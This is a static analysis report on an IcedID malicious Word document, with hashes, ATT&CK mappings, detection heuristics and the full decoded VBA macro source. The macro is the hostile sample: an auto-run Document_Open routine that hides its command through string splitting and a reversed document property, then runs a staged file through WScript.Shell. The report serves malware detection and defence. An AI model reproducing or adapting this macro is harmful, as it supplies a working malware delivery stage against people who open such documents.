IcedID — Office (OOXML) malware analysis

Static analysis result for SHA-256 ab00bfdf8f37824e…

MALICIOUS

Office (OOXML)

34.4 KB Created: 2021-11-04 10:37:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-11-21
MD5: a18fe7b5beb262a6315fed56b2da4519 SHA-1: b0512168fd00e5641fd6cd32a8f414db8beadc51 SHA-256: ab00bfdf8f37824e43b126fd98322d56491b1cc5bf738bfe75d889c0305a3ebb
262 Risk Score

Malware Insights

IcedID · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample contains VBA macros that execute upon opening the document, as indicated by the 'Document_Open' macro and 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristic. The VBA code uses the Shell() function to execute a command, specifically 'c:\windows\explorer.exe', which is likely used to download and run a secondary payload. The ClamAV detection name 'Doc.Downloader.IcedID' strongly suggests the IcedID family.

Heuristics 7

  • ClamAV: Doc.Downloader.IcedID-8ff0f02ff0876072-9950256-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.IcedID-8ff0f02ff0876072-9950256-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1067 bytes
SHA-256: 885b2699a4a34efc3eae209b36b46c4d52c956e25079a4d6eb21daa570562334
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function keywords()
With ActiveDocument
dowDowKarol = .BuiltInDocumentProperties("keywords").Value
End With
keywords = StrReverse(dowDowKarol)
ActiveDocument.Content.Find.Execute FindText:="_f", ReplaceWith:=tubeDowDow, Replace:=wdReplaceAll
End Function
Public Function s(youDoorNext, lovePowPow, doorPowGirl)
Set youPowYou = CreateObject("wscr" + lovePowPow + ".shell")
youPowYou.exec "c:\windows\exp" & doorPowGirl & " " & youDoorNext
End Function
Sub document_open()
main.karoline ("")
End Sub

Attribute VB_Name = "main"
Public Sub karoline(likeTubeLove)
Dim dowLikeYou As String
dowLikeYou = ""
youNextLike = ThisDocument.keywords
ActiveDocument.SaveAs2 FileName:=youNextLike, FileFormat:=wdFormatText
ThisDocument.s youNextLike, "ipt", "lorer"
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15360 bytes
SHA-256: c6acc76dc6b2004c95d83a064f638d8a23ed1c6c29d5b6cd417ff6cab0b757c8

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